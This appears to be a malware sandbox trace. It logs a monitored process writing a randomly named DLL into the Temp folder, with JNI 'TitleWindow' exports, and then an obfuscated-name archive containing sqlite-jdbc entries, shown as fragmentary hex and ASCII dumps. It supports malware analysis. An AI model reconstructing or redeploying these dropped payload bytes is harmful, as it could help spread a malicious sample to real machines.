.....^]...U...}..u..u..6...Y].
V.u...u..u......Y3..MW.0..u.
FV.u.j..5..............u^9.d...t
@V.d...Y..t....v.V.T...Y......
.....3._^]..............P.....
Y.................P.w...Y.....
...U...U.VW..t.

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 85 67 01 00 00 8a 0b 
8b b5 24 e5 ff ff 33 c0 
80 f9 0a 0f 94 c0 89 
85 1c e5 ff ff 8b 06 03 
c7 83 78 38 00 74 15 
8a 50 34 88 55 f4 88 
4d f5 83 60 38 00 6a 
02 8d 45 f4 50 eb 4b 
0f be c1 50 e8 f9 f4 ff 
ff 59 85 c0 74 3a 8b 
8d 34 e5 ff ff 2b cb 03 
4d 10 33 c0 40 3b c8 
0f 86 a5 01 00 00 6a 
02 8d 85 44 e5 ff ff 53 
50 e8 e8 16 00 00 83 
c4 0c 83 f8 ff 0f 84 92 
04 00 00 43 ff 85 40 
e5 ff ff eb 1b 6a 01 53 
8d 85 44 e5 ff ff 50 e8 
c4 16 00 00 83 c4 0c 
83 f8 ff 0f 84 6e 04 00 
00 33 c0 50 50 6a 05 
8d 4d f4 51 6a 01 8d 
8d 44 e5 ff ff 51 50 ff 
b5 20 e5 ff ff 43 ff 85 
40 e5 ff ff ff 15 a4 80 
00 10 8b f0 85 f6 0f 84 
3d 04 00 00 6a 00 8d 
85 2c e5 ff ff 50 56 8d 
45 f4 50 8b 85 24 e5 ff 
ff 8b 00 ff 34 07 ff 15 
54 80 00 10 85 c0 0f 
84 0a 04 00 00 8b 85 
40 e5 ff ff 8b 8d 30 e5 

.g.......$...3................

..x8.t..P4.U..M..`8.j..E.P.K..

.P.....Y..t:..4...+..M.3.@;...

....j...D...SP................

.C..@.....j.S..D...P..........

...n...3.PPj..M.Qj...D...QP.. 

...C..@...............=...j...
,...PV.E.P..$......4...T......
.......@.....0.

success or wait 1 73789FBC WriteFile
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C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 74 09 c7 00 dd dd 00 
00 83 c0 08 89 45 f4 
eb 03 89 5d f4 39 5d 
f4 74 ac 57 ff 75 f4 ff 
75 18 ff 75 14 6a 01 ff 
75 24 ff d6 85 c0 0f 84 
e0 00 00 00 8b 35 e8 
80 00 10 53 53 57 ff 
75 f4 ff 75 10 ff 75 0c 
ff d6 89 45 f8 3b c3 0f 
84 c1 00 00 00 b9 00 
04 00 00 85 4d 10 74 
29 8b 45 20 3b c3 0f 
84 ac 00 00 00 39 45 
f8 0f 8f a3 00 00 00 50 
ff 75 1c 57 ff 75 f4 ff 
75 10 ff 75 0c ff d6 e9 
8e 00 00 00 8b 7d f8 
3b fb 7e 42 6a e0 33 
d2 58 f7 f7 83 f8 02 72 
36 8d 44 3f 08 3b c1 
77 16 e8 9d 0b 00 00 
8b fc 3b fb 74 68 c7 07 
cc cc 00 00 83 c7 08 
eb 1a 50 e8 d3 a5 ff ff 
59 3b c3 74 09 c7 00 
dd dd 00 00 83 c0 08 
8b f8 eb 02 33 ff 3b fb 
74 3f ff 75 f8 57 ff 75 
f0 ff 75 f4 ff 75 10 ff 75 
0c ff d6 85 c0 74 22 
53 53 39 5d 20 75 04 
53 53 eb 06 ff 75 20 ff 
75 1c ff 75 f8 57 53 ff 

t...........E....].9].t.W.u..u
..u.j..u$...........5....SSW.u
..u..u....E.;.............M.t).E 
;.......9E.......P.u.W.u..u
..u.........}.;.~Bj.3.X.....r6
.D?.;.w........;.th...........
P.....Y;.t..............3.;.t?
.u.W.u..u..u..u.....t"SS9] 
u.SS...u .u..u.WS.

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 14 68 78 9d 00 10 e8 
25 ba ff ff 83 cb ff 89 
5d dc 89 5d e0 8b 45 
08 83 f8 fe 75 1c e8 95 
a3 ff ff 83 20 00 e8 7a 
a3 ff ff c7 00 09 00 00 
00 8b c3 8b d3 e9 a1 
00 00 00 85 c0 78 08 
3b 05 60 ca 00 10 72 
1a e8 6d a3 ff ff 83 20 
00 e8 52 a3 ff ff c7 00 
09 00 00 00 e8 b6 b9 
ff ff eb d1 8b c8 c1 f9 
05 8d 3c 8d 80 ca 00 
10 8b f0 83 e6 1f c1 
e6 06 8b 0f 0f be 4c 31 
04 83 e1 01 74 c6 50 
e8 06 08 00 00 59 83 
65 fc 00 8b 07 f6 44 
30 04 01 74 1c ff 75 
14 ff 75 10 ff 75 0c ff 
75 08 e8 d7 fe ff ff 83 
c4 10 89 45 dc 89 55 
e0 eb 19 e8 f0 a2 ff ff 
c7 00 09 00 00 00 e8 
f8 a2 ff ff 83 20 00 89 
5d dc 89 5d e0 c7 45 
fc fe ff ff ff e8 0c 00 00 
00 8b 45 dc 8b 55 e0 
e8 97 b9 ff ff c3 ff 75 
08 e8 42 08 00 00 59 
c3 8b ff 55 8b ec ff 05 
68 c7 00 10 68 00 10 
00 00 e8 03 c0 ff ff 59 

.hx....%.......]..]..E....u....... 

..z....................x.;.`...r..m.... 

..R......................
<.................L1
....t.P.....Y.e.....D0..t..u..
u..u..u..........E..U.........
........... ..]..]..E.........
..E..U........u..B...Y...U....
h...h.........Y

success or wait 1 73789FBC WriteFile
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C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 0c 06 ff 33 c0 eb 15 
e8 97 9b ff ff c7 00 09 
00 00 00 e8 9f 9b ff ff 
89 18 83 c8 ff 5f 5e 5b 
5d c3 8b ff 55 8b ec 8b 
45 08 83 f8 fe 75 18 
e8 83 9b ff ff 83 20 00 
e8 68 9b ff ff c7 00 09 
00 00 00 83 c8 ff 5d c3 
85 c0 78 08 3b 05 60 
ca 00 10 72 1a e8 5f 
9b ff ff 83 20 00 e8 44 
9b ff ff c7 00 09 00 00 
00 e8 a8 b1 ff ff eb d5 
8b c8 c1 f9 05 8b 0c 
8d 80 ca 00 10 83 e0 
1f c1 e0 06 f6 44 08 
04 01 74 cd 8b 04 08 
5d c3 6a 0c 68 b8 9d 
00 10 e8 9a b1 ff ff 8b 
7d 08 8b c7 c1 f8 05 
8b f7 83 e6 1f c1 e6 06 
03 34 85 80 ca 00 10 
c7 45 e4 01 00 00 00 
33 db 39 5e 08 75 35 
6a 0a e8 57 c3 ff ff 59 
89 5d fc 39 5e 08 75 
19 68 a0 0f 00 00 8d 
46 0c 50 ff 15 00 80 
00 10 85 c0 75 03 89 
5d e4 ff 46 08 c7 45 fc 
fe ff ff ff e8 30 00 00 
00 39 5d e4 74 1d 8b 
c7 c1 f8 05 83 e7 1f c1 
e7 

...3........................_^
[]...U...E....u....... ..h....
........]...x.;.`...r.._.... .
.D............................
.......D...t....].j.h.........
.}...............4......E.....
3.9^.u5j..W...Y.].9^.u.h.....F
.P........u..]..F..E......0...
9].t...........

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 72 00 6f 00 6d 00 20 
00 44 00 6c 00 6c 00 
4d 00 61 00 69 00 6e 
00 2e 00 0d 00 0a 00 
00 00 00 00 52 00 36 
00 30 00 33 00 32 00 
0d 00 0a 00 2d 00 20 
00 6e 00 6f 00 74 00 
20 00 65 00 6e 00 6f 
00 75 00 67 00 68 00 
20 00 73 00 70 00 61 
00 63 00 65 00 20 00 
66 00 6f 00 72 00 20 
00 6c 00 6f 00 63 00 
61 00 6c 00 65 00 20 
00 69 00 6e 00 66 00 
6f 00 72 00 6d 00 61 
00 74 00 69 00 6f 00 
6e 00 0d 00 0a 00 00 
00 00 00 52 00 36 00 
30 00 33 00 31 00 0d 
00 0a 00 2d 00 20 00 
41 00 74 00 74 00 65 
00 6d 00 70 00 74 00 
20 00 74 00 6f 00 20 
00 69 00 6e 00 69 00 
74 00 69 00 61 00 6c 
00 69 00 7a 00 65 00 
20 00 74 00 68 00 65 
00 20 00 43 00 52 00 
54 00 20 00 6d 00 6f 
00 72 00 65 00 20 00 
74 00 68 00 61 00 6e 
00 20 00 6f 00 6e 00 
63 00 65 00 2e 00 0a 
00 54 00 68 00 69 00 
73 00 20 

r.o.m. .D.l.l.M.a.i.n.........
..R.6.0.3.2.....-. .n.o.t. .e.
n.o.u.g.h. .s.p.a.c.e. .f.o.r. 
.l.o.c.a.l.e. .i.n.f.o.r.m.a.
t.i.o.n.........R.6.0.3.1.....-. 
.A.t.t.e.m.p.t. .t.o. .i.n.
i.t.i.a.l.i.z.e. .t.h.e. .C.R.T. 
.m.o.r.e. .t.h.a.n. .o.n.c.
e.....T.h.i.s. 

success or wait 1 73789FBC WriteFile
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C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 68 00 65 00 61 00 70 
00 20 00 65 00 72 00 
72 00 6f 00 72 00 0d 
00 0a 00 00 00 00 00 
00 00 00 00 52 00 36 
00 30 00 31 00 37 00 
0d 00 0a 00 2d 00 20 
00 75 00 6e 00 65 00 
78 00 70 00 65 00 63 
00 74 00 65 00 64 00 
20 00 6d 00 75 00 6c 
00 74 00 69 00 74 00 
68 00 72 00 65 00 61 
00 64 00 20 00 6c 00 
6f 00 63 00 6b 00 20 
00 65 00 72 00 72 00 
6f 00 72 00 0d 00 0a 
00 00 00 00 00 00 00 
00 00 52 00 36 00 30 
00 31 00 36 00 0d 00 
0a 00 2d 00 20 00 6e 
00 6f 00 74 00 20 00 
65 00 6e 00 6f 00 75 
00 67 00 68 00 20 00 
73 00 70 00 61 00 63 
00 65 00 20 00 66 00 
6f 00 72 00 20 00 74 
00 68 00 72 00 65 00 
61 00 64 00 20 00 64 
00 61 00 74 00 61 00 
0d 00 0a 00 00 00 52 
00 36 00 30 00 31 00 
30 00 0d 00 0a 00 2d 
00 20 00 61 00 62 00 
6f 00 72 00 74 00 28 
00 29 00 20 00 68 00 
61 00 73 

h.e.a.p. .e.r.r.o.r...........
..R.6.0.1.7.....-. .u.n.e.x.p.
e.c.t.e.d. .m.u.l.t.i.t.h.r.e.
a.d. .l.o.c.k. .e.r.r.o.r.....
........R.6.0.1.6.....-. .n.o.t. 
.e.n.o.u.g.h. .s.p.a.c.e. .
f.o.r. .t.h.r.e.a.d. .d.a.t.a.
......R.6.0.1.0.....-. .a.b.o.r.t.
(.). .h.a.s

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 68 00 
28 00 28 00 28 00 28 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 48 00 10 00 10 
00 10 00 10 00 10 00 
10 00 10 00 10 00 10 
00 10 00 10 00 10 00 
10 00 10 00 10 00 84 
00 84 00 84 00 84 00 
84 00 84 00 84 00 84 
00 84 00 84 00 10 00 
10 00 10 00 10 00 10 
00 10 00 10 00 81 01 
81 01 81 01 81 01 81 
01 81 01 01 01 01 01 
01 01 01 01 01 01 01 
01 01 01 01 01 01 01 
01 01 01 01 01 01 01 
01 01 01 01 01 01 01 
01 01 01 01 01 01 01 
01 10 00 10 00 10 00 
10 00 10 00 10 00 82 
01 82 01 82 01 82 01 
82 01 82 

..............................

.................... . . . . . . . . .h.(.
(.(.(. . . . . . . . . . . . . . . . . . 
.H...................................
..............................
..............................
..............................
...............

success or wait 1 73789FBC WriteFile
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C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 c8 c9 ca cb cc cd ce cf 
d0 d1 d2 d3 d4 d5 d6 
d7 d8 d9 da db dc dd 
de df e0 e1 e2 e3 e4 
e5 e6 e7 e8 e9 ea eb 
ec ed ee ef f0 f1 f2 f3 
f4 f5 f6 f7 f8 f9 fa fb fc 
fd fe ff 00 01 02 03 04 
05 06 07 08 09 0a 0b 
0c 0d 0e 0f 10 11 12 
13 14 15 16 17 18 19 
1a 1b 1c 1d 1e 1f 20 
21 22 23 24 25 26 27 
28 29 2a 2b 2c 2d 2e 
2f 30 31 32 33 34 35 
36 37 38 39 3a 3b 3c 
3d 3e 3f 40 41 42 43 
44 45 46 47 48 49 4a 
4b 4c 4d 4e 4f 50 51 
52 53 54 55 56 57 58 
59 5a 5b 5c 5d 5e 5f 
60 41 42 43 44 45 46 
47 48 49 4a 4b 4c 4d 
4e 4f 50 51 52 53 54 
55 56 57 58 59 5a 7b 
7c 7d 7e 7f 80 81 82 
83 84 85 86 87 88 89 
8a 8b 8c 8d 8e 8f 90 
91 92 93 94 95 96 97 
98 99 9a 9b 9c 9d 9e 
9f a0 a1 a2 a3 a4 a5 
a6 a7 a8 a9 aa ab ac 
ad ae af b0 b1 b2 b3 
b4 b5 b6 b7 b8 b9 ba 
bb bc bd be bf c0 c1 
c2 c3 c4 c5 c6 

..............................

..............................

............................ !
"#$%&'()*+,-
./0123456789:;<=>?
@ABCDEFGHIJKLMNOP
QRSTUVWXYZ[\]
^_`ABCDEFGHIJKLMNOP
QRSTUVWXYZ{
|}~...........................
..............................
...............

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 50 72 6f 63 65 73 73 
6f 72 46 65 61 74 75 
72 65 50 72 65 73 65 
6e 74 00 52 00 43 6c 
6f 73 65 48 61 6e 64 
6c 65 00 24 05 57 72 
69 74 65 43 6f 6e 73 
6f 6c 65 57 00 87 04 
53 65 74 53 74 64 48 
61 6e 64 6c 65 00 00 
8f 00 43 72 65 61 74 
65 46 69 6c 65 57 00 
4b 45 52 4e 45 4c 33 
32 2e 64 6c 6c 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 ea dc 75 
57 00 00 00 00 b6 a4 
00 00 01 00 00 00 03 
00 00 00 03 00 00 00 
98 a4 00 00 a4 a4 00 
00 b0 a4 00 00 b0 11 
00 00 10 11 00 00 c0 
11 00 00 c6 a4 00 00 
e8 a4 00 00 0a a5 00 
00 00 00 01 00 02 00 
54 69 74 6c 65 57 69 
6e 64 6f 77 2e 64 6c 
6c 00 5f 4a 61 76 61 
5f 63 6f 6d 5f 54 69 74 
6c 65 5f 64 69 73 61 
62 6c 65 4c 69 73 74 
65 6e 65 72 40 38 00 
5f 4a 61 76 61 5f 63 6f 
6d 5f 54 69 74 6c 65 5f 
65 6e 61 62 6c 65 74 

ProcessorFeaturePresent.
R.Clos
eHandle.$.WriteConsoleW.
..SetS
tdHandle....CreateFileW.K
ERNEL
32.dll......................uW
..............................
..............................
..TitleWindow.dll._Java_co
m_Ti
tle_disableListener@8._Ja
va_com_Title_enablet

success or wait 1 73789FBC WriteFile
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C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 00 00 00 00 00 00 00 
00 04 00 00 00 00 00 
01 00 18 00 00 00 18 
00 00 80 00 00 00 00 
00 00 00 00 04 00 00 
00 00 00 01 00 02 00 
00 00 30 00 00 80 00 
00 00 00 00 00 00 00 
04 00 00 00 00 00 01 
00 09 04 00 00 48 00 
00 00 58 e0 00 00 5a 
01 00 00 e4 04 00 00 
00 00 00 00 3c 61 73 
73 65 6d 62 6c 79 20 
78 6d 6c 6e 73 3d 22 
75 72 6e 3a 73 63 68 
65 6d 61 73 2d 6d 69 
63 72 6f 73 6f 66 74 
2d 63 6f 6d 3a 61 73 
6d 2e 76 31 22 20 6d 
61 6e 69 66 65 73 74 
56 65 72 73 69 6f 6e 
3d 22 31 2e 30 22 3e 
0d 0a 20 20 3c 74 72 
75 73 74 49 6e 66 6f 
20 78 6d 6c 6e 73 3d 
22 75 72 6e 3a 73 63 
68 65 6d 61 73 2d 6d 
69 63 72 6f 73 6f 66 
74 2d 63 6f 6d 3a 61 
73 6d 2e 76 33 22 3e 
0d 0a 20 20 20 20 3c 
73 65 63 75 72 69 74 
79 3e 0d 0a 20 20 20 
20 20 20 3c 72 65 71 
75 65 73 74 65 64 50 
72 69 76 

..............................

..............0...............

........H...X...Z...........<a
ssembly 
xmlns="urn:schemas-mic
rosoft-com:asm.v1" 
manifestVersion="1.0">..  
<trustInfo xmln
s="urn:schemas-microsoft-
com:asm.v3">..    
<security>..      
<requestedPriv

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 92 31 98 31 ae 31 c6 
31 ec 31 66 32 89 32 
93 32 cb 32 d3 32 1f 
33 2f 33 35 33 41 33 
47 33 57 33 5d 33 63 
33 72 33 80 33 8a 33 
90 33 a6 33 ab 33 b3 
33 b9 33 c0 33 c6 33 
cd 33 d3 33 db 33 e2 
33 e7 33 ef 33 f8 33 
04 34 09 34 0e 34 14 
34 18 34 1e 34 23 34 
29 34 2e 34 3d 34 53 
34 59 34 61 34 66 34 
6e 34 73 34 7b 34 80 
34 87 34 96 34 9b 34 
a1 34 aa 34 ca 34 d0 
34 e8 34 1b 35 24 35 
30 35 67 35 70 35 7c 
35 b5 35 be 35 ca 35 
ef 35 15 36 1b 36 45 
36 8a 36 91 36 a6 36 
ed 36 f7 36 22 37 3a 
37 58 37 7c 37 ac 37 
be 37 ec 37 0f 38 15 
38 2a 38 4a 38 6f 38 
7a 38 89 38 c1 38 cb 
38 0c 39 17 39 21 39 
32 39 3d 39 fd 3a 0e 
3b 16 3b 1c 3b 21 3b 
27 3b 93 3b 99 3b b5 
3b dd 3b 29 3c 35 3c 
44 3c 49 3c 6a 3c 6f 
3c 05 3e 28 3e 35 3e 
41 3e 49 3e 51 3e 5d 
3e 86 3e 8e 3e 99 3e 
a6 3e ad 

.1.1.1.1.1f2.2.2.2.2.3/353A
3G3
W3]3c3r3.3.3.3.3.3.3.3.3.3
.3.3
.3.3.3.3.3.4.4.4.4.4.4#4)4.4
=4
S4Y4a4f4n4s4{4.4.4.4.4.4.
4.4.4
.4.5$505g5p5|5.5.5.5.5.6.6
E6.6
.6.6.6.6"7:7X7|7.7.7.7.8.8*
8J8
o8z8.8.8.8.9.9!929=9.:.;.;.;!
;';.;.;.;.;)<5<D<I<j<o<.>
(>5>A>I>Q>]>.>.>.>.>.

success or wait 1 73789FBC WriteFile
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Address Symbol
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C:\Users\user\AppData\Local\Te
mp\Windows278170804881636675.dll

unknown 1024 cc 3b e8 3b 04 3c 08 
3c 28 3c 48 3c 64 3c 
68 3c 88 3c a8 3c b4 
3c d0 3c f0 3c 10 3d 
30 3d 50 3d 70 3d 90 
3d b0 3d d0 3d 00 b0 
00 00 14 01 00 00 78 
31 80 31 f8 33 fc 33 
68 35 6c 35 70 35 74 
35 78 35 7c 35 80 35 
84 35 88 35 8c 35 b8 
39 b8 3a bc 3a c0 3a 
c4 3a c8 3a cc 3a d0 
3a d4 3a d8 3a dc 3a 
e0 3a e4 3a e8 3a ec 
3a f0 3a f4 3a f8 3a fc 
3a 00 3b 04 3b 08 3b 
0c 3b 10 3b 14 3b 18 
3b 1c 3b 20 3b 24 3b 
28 3b 2c 3b 30 3b 34 
3b 38 3b 3c 3b 40 3b 
44 3b 48 3b 4c 3b 50 
3b 54 3b 58 3b 5c 3b 
60 3b 70 3b 74 3b 78 
3b 7c 3b 80 3b 84 3b 
88 3b 8c 3b 90 3b 94 
3b 98 3b 9c 3b a0 3b 
a4 3b a8 3b ac 3b b0 
3b b4 3b b8 3b bc 3b 
c0 3b c4 3b c8 3b cc 
3b d0 3b d4 3b d8 3b 
dc 3b e0 3b e4 3b e8 
3b ec 3b f0 3b f4 3b f8 
3b fc 3b 00 3c 04 3c 
08 3c 0c 3c 10 3c 14 
3c 18 3c 78 3c 88 3c 
98 

.;.;.<.<(<H<d<h<.<.<.<.<.
<.=0=
P=p=.=.=.=........x1.1.3.3h5
l5
p5t5x5|5.5.5.5.5.9.:.:.:.:.:.:
.:.:.:.:.:.:.:.:.:.:.:.:.;.;.;.;.;.;.;.; 
;$;(;,;0;4;8;<;@;D;
H;L;P;T;X;\;`;p;t;x;|;.;.;.;.;
.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;
.;.;.;.;.;.;.;.;.;.;.;.;.;.<.<.<.<.<.
<.<x<.<.

success or wait 1 73789FBC WriteFile

C:\Users\user\DfSJGumiMVk\mrSp
bGLeBqF\VRacgaBger.ckLFQ

unknown 1 50 P success or wait 240 73789FBC WriteFile

C:\Users\user\DfSJGumiMVk\mrSp
bGLeBqF\VRacgaBger.ckLFQ

unknown 45 4d 45 54 41 2d 49 4e 
46 2f 6d 61 76 65 6e 
2f 6f 72 67 2e 78 65 
72 69 61 6c 2f 73 71 
6c 69 74 65 2d 6a 64 
62 63 2f 4c 49 43 45 
4e 53 45 

META-
INF/maven/org.xerial/sqli
te-jdbc/LICENSE

success or wait 1 73789FBC WriteFile

C:\Users\user\DfSJGumiMVk\mrSp
bGLeBqF\VRacgaBger.ckLFQ

unknown 4 fe ca 00 00 .... success or wait 977 73789FBC WriteFile

C:\Users\user\DfSJGumiMVk\mrSp
bGLeBqF\VRacgaBger.ckLFQ

unknown 512 65 48 37 7c 93 8d b2 
aa db 23 28 fa 0f ac bc 
25 dc 86 1c a6 97 1b 
75 1e 8d af 81 4e b6 
95 35 27 90 aa 4c a2 
49 b3 47 62 91 86 94 
69 4b eb bf 22 9c 0f 4c 
e0 a4 e5 0f 03 22 c5 
70 79 64 52 63 08 c0 
98 6d 93 28 b4 db c4 
34 ec cf 4d 60 2c 69 
2b e3 35 c4 cb f0 c2 
c7 2e 50 15 11 32 50 
4a 30 38 bb 4b 88 ee 
c6 25 e0 24 e0 49 a4 
27 ec 67 2c 3c 0b 18 
e2 82 4f 62 88 3f 22 1f 
c9 da 9c 0f 9f 4c 25 25 
a1 21 b8 e6 f3 c9 f5 97 
0a 0a 6d a1 8d 27 48 
ce e7 31 02 31 4b b7 
9a c5 cd 3c 27 48 70 
8d 55 aa 43 38 5a 03 
90 ae c8 14 4b d9 b1 
43 ed 2c 2d ec 99 a2 
8c 7d 30 81 a0 80 98 
68 5e 65 65 91 ae 06 
97 03 87 8d e0 aa 27 
d3 54 86 b3 f2 14 fc 
97 a5 02 4a ea 8e 56 
77 20 a0 d8 ae c8 67 
89 31 b9 bd 1b d4 c6 
4d a0 1d 49 79 54 94 
5c 6a 4e a1 e1 15 ef 
05 94 17 3d a7 49 a4 
ac d4 7c 55 c2 

eH7|.....#(....%......u....N..
5'..L.I.Gb...iK.."..L.....".py
dRc...m.(...4..M`,i+.5......P.
.2PJ08.K...%.$.I.'.g,
<....Ob.?
"......L%%.!........m..'H..1.1
K....<'Hp.U.C8Z.....K..C.,-
....}0....h^ee.........'.T.......
.J..Vw ....g.1.....M..IyT.\jN.
......=.I...|U.

success or wait 1 73789FBC WriteFile
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C:\Users\user\DfSJGumiMVk\mrSp
bGLeBqF\VRacgaBger.ckLFQ

unknown 512 1d 0f f1 e7 94 9a 05 
48 52 3f b0 28 7e 17 
3c ea b8 8f 0a 31 51 
ad 97 6d 9b 38 3b 83 
27 0d 65 eb a1 57 ab 
4e 83 a5 d5 ea bc 4a 
43 f7 6a d2 29 ce 7d 
a4 4f fa fe 99 e7 12 34 
39 e8 f4 92 99 1f 8b 
b7 a2 be 46 1e 90 c4 
43 07 fa 1c c2 f1 94 fe 
74 ac 78 4c 9d e4 15 
6a f0 24 cb 75 9a 8f 0e 
8d 05 36 b1 dc c8 d5 
74 52 40 cb e3 d7 09 
f9 3b 05 b7 55 34 e3 
2f 07 e0 88 2e b0 60 
3f b2 20 9a e3 3b c6 
34 04 0c bb 46 e0 a6 
36 1e 24 a7 86 b8 f5 
93 7b ca f2 39 97 d3 
d8 fa b0 50 66 95 8e 
09 75 46 ff 44 f7 c1 a4 
05 d8 4e fa 0e 67 4f 
0e e6 a3 5c 74 f3 ce 
78 d7 5d 19 d3 ec 74 
37 e9 48 7e 40 ce 36 
db ad a4 de 23 b1 86 
91 64 6f a5 ee 46 eb 
13 95 ec da b1 cf 04 
88 13 e4 a9 6f 53 68 
d8 40 7e 5c ea c4 1f 
ad 1c 1c 88 1c 92 08 
fd 61 6f 2f 6e 92 1a f6 
b2 79 d0 3c 9e 6d c3 
f7 24 88 86 a0 

.......HR?.(~.<....1Q..m.8;.'.
e..W.N.....JC.j.).}.O.....49..
.......F...C.......t.xL...j.$.
u.....6....tR@.....;..U4./....
.`?. ..;.4...F..6.$.....{..9..
...Pf...uF.D.....N..gO...\t..x
.]...t7.H~@.6....#...do..F....
........oSh.@~\...........ao/n
....y.<.m..$...

success or wait 1 73789FBC WriteFile

C:\Users\user\DfSJGumiMVk\mrSp
bGLeBqF\VRacgaBger.ckLFQ

unknown 379 16 2f cd ff f9 92 6c c9 
1d 07 00 ed 3e 7c 4a 
51 7e 6b 48 7f 63 71 
76 c5 f4 0a 3f f7 9f b9 
a4 0a 5f 75 4c 5b 12 
89 87 1b 44 91 45 25 
3f c4 ee 48 95 bb 01 
ad 56 5d e3 04 72 07 
e2 df a7 83 25 4d 48 
15 dc 74 f6 cb af b3 8c 
87 dc e0 08 c9 70 1f 
1d 8b d1 36 94 8c 45 
2d 7e 21 ce ae 4c ff c7 
f4 e5 42 19 b4 71 fb df 
9f 0b ae f8 b9 cc 75 
a0 20 70 0a 54 05 49 
92 50 51 14 79 bd 9c 
0d 53 ec b8 3d 90 fe 
31 8d 61 b9 31 e0 45 
00 74 60 65 e7 68 26 
e6 df 0e 4d d8 84 ef fc 
b2 f7 21 b8 1c f1 5b 5f 
b0 31 27 dd c6 64 1d 
27 bb 4b 95 3f a3 e1 
f9 6c 92 c5 d1 ca 19 
e4 e3 e6 38 81 f3 8c f2 
c8 74 ee 1a be c8 21 
41 e1 85 3a 7f 16 10 
d4 17 e7 be a9 d3 93 
9b 25 d2 d6 6b 9a 9a 
47 af c8 73 cc 5f f6 f8 
f9 55 fc c2 b2 43 d6 
83 31 ef af 61 41 f0 97 
a6 28 b7 a6 9e 54 95 
5f b3 8a 33 7a 21 7d 

./....l.....>|JQ~kH.cqv...?...

.._uL[....D.E%?..H....V]..r...

..%MH..t..........p....6..E-~!

..L....B..q........u. p.T.I.PQ

.y...S..=..1.a.1.E.t`e.h&...M.

.....!...[_.1'..d.'.K.?...l...

.....8.....t....!A..:.........

..%..k..G..s._...U...C..1..aA.

..(...T._..3z!}

success or wait 1 73789FBC WriteFile

C:\Users\user\DfSJGumiMVk\mrSp
bGLeBqF\VRacgaBger.ckLFQ

unknown 1 50 P success or wait 112 73789FBC WriteFile
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C:\Users\user\DfSJGumiMVk\mrSp
bGLeBqF\VRacgaBger.ckLFQ

unknown 512 b5 53 cd 6e a3 30 10 
be 23 f1 0e 73 6b 2b 
a1 6e b7 87 3d ec 9e 
1c 70 92 91 08 66 6d 
93 34 b7 52 a0 8d a5 
04 57 86 34 ea db ef 
d8 49 d5 44 3d f4 b4 
17 98 30 e3 ef 6f 9c d4 
be be 3b f3 b2 19 e1 
ba b9 81 fb bb bb 5f 
09 64 f5 9b 69 21 75 
f5 61 d8 d4 87 5b 00 
b6 dd 42 18 1a c0 75 
43 e7 de ba f6 36 8e 
e2 48 76 ad 19 46 67 
9e f6 a3 b1 3d d4 7d 
0b fb a1 03 d3 c3 60 
f7 ae e9 c2 97 27 d3 
d7 ee 1d 9e ad db 0d 
09 1c cc b8 01 eb c2 
db ee c7 38 da d9 d6 
3c 9b a6 f6 08 09 d4 
ae 83 d7 ce ed cc 38 
76 2d bc 3a 4b 4a a8 
18 37 f5 48 8f 8e 50 
b6 5b 7b 30 fd 0b 34 
b6 6f 8d 3f 34 c4 91 3f 
b5 eb c6 df 5e d3 cf 5b 
b8 94 35 80 7d fe d0 
d3 d8 96 26 f7 c3 48 
3e c6 9a 74 7a cc fa 
c9 be f9 d6 29 88 38 
02 80 de 8e a6 e9 12 
ea 9b 01 b6 84 e6 41 
3e 29 83 b1 4b 3d 44 
d9 6c 6b b3 eb 1c 45 

.S.n.0..#..sk+.n..=...p...fm.4

.R....W.4....I.D=....0..o....;

.........._.d..i!u.a...[...B..

.uC....6..Hv..Fg....=.}......`

.....'..................8...<.

...........8v-.:KJ..7.H..P.[{0
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15 19 eb 6d 24 53 bf 
9b f7 ee 07 92 64 50 
1f 74 82 e8 c0 58 6b ff 
48 6b 9c 8a 2f c3 66 
6e 67 d2 92 76 79 61 
7f b0 01 63 04 0e 0c 
64 19 0c 94 16 4a b4 
36 86 6c 7f 3d a7 4b 
04 fc 32 aa ef dc 
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unknown 512 7f b2 ef e5 70 0a 8b 
ce df 2c a5 46 96 1c 
97 a9 2f 01 d2 51 e2 
3f a3 c0 84 b7 3b 29 
e8 6b e4 86 de 92 d5 
90 4e 54 9b 47 09 fb 
7e d9 6b 7b c8 ea e2 
8c d3 b9 2a 72 ac c9 
90 e4 be 2f be 0a 39 
ed a8 38 a9 23 48 6e 
6b 17 52 60 3a 50 5f 
8f 52 f6 60 f1 3b 98 0e 
b6 1d 2f b1 0c e7 26 df 
38 63 62 b2 78 1f b6 
76 3a 03 3d 1f b6 fb 
18 f4 d3 30 fa 05 4e 
07 38 d7 86 6e 5b 2b 
d2 19 0e 86 8f 70 6d 
67 fc 7f aa e0 76 a1 
76 18 b2 25 2e c9 78 
68 4d 9f 77 9a eb 2c 
22 0a 27 15 93 74 0f 
9f e7 88 4b 98 55 b9 
d7 a4 d0 86 23 7c f0 
d5 4b 16 9d 6f 0b 33 
75 fe 1d f4 5d 5a 99 
06 ad dd 42 68 5e 3a 
39 83 96 09 0b 63 79 
cf e0 70 2a c2 be 96 
90 79 d2 b5 1c e4 b7 
25 59 55 33 7b 27 5f 
